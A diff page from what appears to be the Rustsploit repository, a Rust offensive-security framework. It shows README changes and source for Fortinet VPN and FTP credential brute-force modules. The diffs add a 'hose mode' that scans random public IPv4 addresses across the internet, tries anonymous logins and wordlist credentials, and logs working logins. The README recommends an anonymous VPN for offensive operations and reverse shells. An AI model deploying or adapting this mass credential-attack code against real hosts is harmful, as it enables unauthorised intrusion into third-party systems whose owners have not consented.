Compare commits

..

29 Commits

Author SHA1 Message Date
S.B d61d0987dc Update telnet_bruteforce.rs 2026-01-23 11:37:07 +02:00
S.B 102d618289 Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-23 11:36:30 +02:00
S.B b5d0ce4c70 Update main.rs 2026-01-23 10:28:53 +02:00
S.B 82ff19dc9d Add files via upload 2026-01-23 10:15:09 +02:00
S.B 8d314e6d78 Update mod.rs 2026-01-23 10:12:33 +02:00
S.B aeaa894336 Update changelog-latest.md 2026-01-23 10:06:00 +02:00
S.B 62cfce1b8d Update README.md 2026-01-22 16:36:07 +02:00
S.B c1f4aca340 Update Cargo.toml 2026-01-22 16:35:21 +02:00
S.B b6208db764 Update changelog-latest.md 2026-01-22 16:33:52 +02:00
S.B 66679ee09d Update utils.rs 2026-01-22 16:31:00 +02:00
S.B 4a4ad714b0 Remove proxy functionality from shell context
Removed proxy-related commands and functionality from the shell context, including loading, enabling, disabling, and testing proxies. Updated target setting commands to include shortcuts.
2026-01-22 16:30:22 +02:00
S.B cf95a3db70 Add core module to main.rs 2026-01-22 16:29:41 +02:00
S.B 5434430ad0 Add files via upload 2026-01-22 16:27:47 +02:00
S.B 6d33f0fdaa Delete src/modules/scanners directory 2026-01-22 16:26:44 +02:00
S.B 77124d25a2 Add files via upload 2026-01-22 16:25:33 +02:00
S.B 7ec5089ea8 Delete src/modules/exploits directory 2026-01-22 16:20:55 +02:00
S.B 587e11267a Add files via upload 2026-01-22 16:19:49 +02:00
S.B 65c6ec75b4 Delete src/modules/creds directory 2026-01-22 16:19:07 +02:00
S.B 6bbb9d3048 Add files via upload 2026-01-22 16:18:38 +02:00
S.B de6b598cd9 Delete src/commands directory 2026-01-22 16:18:10 +02:00
S.B d66f33193f Update ftp_bruteforce.rs 2026-01-18 18:53:33 +02:00
S.B be2237e39b Enhance FTP anonymous login checker with mass scan
Added support for mass scanning and improved IP exclusion handling.
2026-01-18 18:52:14 +02:00
S.B f4935c1f9e Update and rename rtsp_bruteforce_advanced.rs to rtsp_bruteforce.rs 2026-01-18 18:50:51 +02:00
S.B b646039f2e Add files via upload 2026-01-18 18:48:13 +02:00
S.B c6c577ed52 Delete src/modules/exploits/ftp directory 2026-01-18 18:47:22 +02:00
S.B 77639bcf8b Update Cargo.toml 2026-01-18 18:46:04 +02:00
S.B 49ab851ffe Add files via upload 2026-01-18 18:45:05 +02:00
S.B 03779dbe64 Update mod.rs 2026-01-18 18:44:35 +02:00
S.B e01e231579 Merge pull request #32 from s-b-repo/esoteric-markdown
Esoteric markdown
2026-01-17 01:06:24 +02:00
48 changed files with 7001 additions and 3156 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.4.3"
version = "0.4.4"
edition = "2024"
build = "build.rs"
+75 -33
View File
@@ -1,14 +1,14 @@
# Rustsploit
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
@@ -22,10 +22,9 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
8. [How Modules Are Discovered](#how-modules-are-discovered)
9. [Contributing](#contributing)
10. [Credits](#credits)
---
@@ -33,7 +32,7 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
@@ -71,12 +70,50 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```
**Debian/Ubuntu/Kali:**
```bash
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
sudo apt install pkg-config libssl-dev freerdp2-x11 # Required for the RDP brute force module
```
**Arch Linux:**
```bash
sudo pacman -S pkgconf openssl freerdp
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
```
**Fedora/RHEL:**
```bash
sudo dnf install pkgconf-pkg-config openssl-devel freerdp
```
### Installing Rust & Cargo
**General (Recommended for all Linux/macOS):**
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
**Debian/Ubuntu/Kali:**
```bash
sudo apt install rustc cargo
```
**Arch Linux:**
```bash
sudo pacman -S rust
```
**Fedora/RHEL:**
```bash
sudo dnf install rust cargo
```
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
@@ -92,10 +129,26 @@ cargo build
cargo run
```
### Install (optional)
### Global Installation (Run from Terminal)
```
To run `rustsploit` from anywhere in your terminal:
**Option 1: Cargo Install (Easiest)**
```bash
cargo install --path .
rustsploit
```
**Option 2: Manually Build Release Binary**
```bash
# 1. Build optimized release version
cargo build --release
# 2. Move binary to your path (e.g., /usr/local/bin)
sudo cp target/release/rustsploit /usr/local/bin/
# 3. Run from anywhere
rustsploit
```
---
@@ -221,10 +274,6 @@ find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
@@ -234,14 +283,9 @@ Example session:
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
### Command Chaining
Execute multiple commands in a single line using the `&` separator:
@@ -455,20 +499,18 @@ curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
---
## Proxy Workflow
## Private Internet Recommendations
Rustsploit treats proxy lists as first-class citizens:
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
- **No Registration:** Account numbers are generated without email or personal data.
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
---
File diff suppressed because it is too large Load Diff
@@ -5,7 +5,6 @@ use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::Write,
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
@@ -17,8 +16,10 @@ use tokio::{
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_wordlist, normalize_target,
get_filename_in_current_dir, prompt_port,
};
use regex::Regex;
use once_cell::sync::Lazy;
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
@@ -35,8 +36,7 @@ pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
.parse().unwrap_or(443);
let port: u16 = prompt_port("Fortinet VPN Port", 443).await?;
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
@@ -198,8 +198,10 @@ async fn spawn_fortinet_task(
stop_on_success: bool,
timeout: Duration
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, stop processing
};
tasks.push(tokio::spawn(async move {
let _permit = permit;
@@ -294,12 +296,12 @@ async fn try_fortinet_login(
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
// Manual form construction
let mut body = String::new();
// Build form body
let mut form_pairs: Vec<String> = Vec::new();
for (key, val) in &form_data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
}
let body = form_pairs.join("&");
let login_response = match timeout(
timeout_duration,
@@ -337,38 +339,28 @@ async fn try_fortinet_login(
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
// Check for explicit success indicators
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
// Check for explicit failure indicators
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(false);
}
// Check status and cookies
// Check status code and authentication cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location
// Check redirect location for success
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
let success_redirects = ["/remote/index", "portal", "index"];
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
return Ok(true);
}
}
@@ -377,21 +369,21 @@ async fn try_fortinet_login(
Ok(false)
}
/// Extracts CSRF token from HTML response
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
vec![
Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"),
]
});
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
for pattern in CSRF_PATTERNS.iter() {
if let Some(captures) = pattern.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
@@ -405,7 +397,12 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
// IPv6 case: check if there's a colon after the closing bracket
if let Some(bracket_pos) = normalized_host.rfind(']') {
normalized_host[bracket_pos..].contains(':')
} else {
false
}
} else {
normalized_host.contains(':')
};
@@ -418,12 +415,3 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
Ok(url)
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+235 -3
View File
@@ -1,15 +1,41 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::process::Command;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use rand::Rng;
use tokio::net::TcpStream; // For fast connect check
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode)".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
@@ -37,7 +63,17 @@ fn format_addr(target: &str, port: u16) -> String {
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
@@ -55,6 +91,13 @@ pub async fn run(target: &str) -> Result<()> {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
// Optional: Check if we can run command?
// For single target, we usually just report login success in legacy mode.
// But let's be consistent and try listing.
match ftp.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
@@ -93,6 +136,10 @@ pub async fn run(target: &str) -> Result<()> {
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
match ftps.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
@@ -103,3 +150,188 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
let _verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output result file", "ftp_mass_results.txt").await?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
// Simple IP parse
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
stats_found: Arc<AtomicUsize>,
output_file: String,
) {
let sa = SocketAddr::new(ip, 21);
// 1. Connection Check
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// 2. FTP Login (Plain only for speed/mass scan)
let addr_str = format!("{}:21", ip);
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
// LOGIN OK - Now VERIFY command capability
// We use LIST (None implies current directory)
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
match timeout(Duration::from_secs(5), ftp.list(None)).await {
Ok(Ok(_)) => {
// Success: Login + List
// Format: IP:PORT:USER:PASS
let msg = format!("{}:21:anonymous:anonymous", ip);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
}
Ok(Err(_)) => {
// Login ok, List failed (550 or similar)
}
Err(_) => {
// List timed out (PASV issue?)
}
}
let _ = ftp.quit().await;
}
}
_ => {}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
+244 -141
View File
@@ -1,4 +1,4 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
@@ -7,22 +7,44 @@ use std::{
io::Write,
sync::Arc,
time::Duration,
net::{IpAddr, Ipv4Addr, SocketAddr},
};
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
process::Command,
fs::OpenOptions,
io::AsyncWriteExt,
net::TcpStream,
};
use futures::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
prompt_int_range, prompt_wordlist,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_brute_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
/// FTP error classification for better handling
#[derive(Debug, Clone, Copy)]
@@ -39,7 +61,7 @@ impl FtpErrorType {
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
// Authentication failed (wrong credentials)
// Authentication failed
if msg.contains("530") || msg_lower.contains("login incorrect") ||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
@@ -75,7 +97,7 @@ impl FtpErrorType {
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode)".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
@@ -103,8 +125,20 @@ fn format_addr_for_display(target: &str, port: u16) -> String {
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
println!("{}", format!("[*] Target: {}", target).cyan());
// --- Standard Single Target Logic ---
let port: u16 = loop {
let input = prompt_default("FTP Port", "21").await?;
if let Ok(p) = input.parse() { break p }
@@ -225,8 +259,8 @@ pub async fn run(target: &str) -> Result<()> {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
let mut _unknown_clone = unknown_clone.lock().await;
_unknown_clone.push((
display_addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
@@ -234,14 +268,7 @@ pub async fn run(target: &str) -> Result<()> {
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
}
}
}
@@ -306,14 +333,7 @@ pub async fn run(target: &str) -> Result<()> {
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user, pass_clone, msg
)
.yellow()
);
println!("\r{}", format!("[!] Error: {}", e).yellow());
}
}
}
@@ -344,15 +364,18 @@ pub async fn run(target: &str) -> Result<()> {
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} {} -> {}:{}", "".green(), host, user, pass);
println!(" {} {}:{}:{}", "".green(), host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
// Standardized format: IP:PORT:USER:PASS
// host should already include IP:PORT based on `display_addr` formatting earlier
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
// We want strictly `IP:PORT:USER:PASS`
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
break;
}
}
@@ -365,58 +388,164 @@ pub async fn run(target: &str) -> Result<()> {
}
}
drop(creds);
Ok(())
}
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored FTP responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
let default_name = "ftp_unknown_responses.txt";
let prompt_msg = format!(
"What should the unknown results be saved as? (default: {})",
default_name
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port: u16 = prompt_default("FTP Port", "21").await?.parse().unwrap_or(21);
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt").await?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
let fname = prompt_default(&prompt_msg, default_name).await?;
let file_path = get_filename_in_current_dir(&fname);
match File::create(&file_path) {
Ok(mut file) => {
writeln!(
file,
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
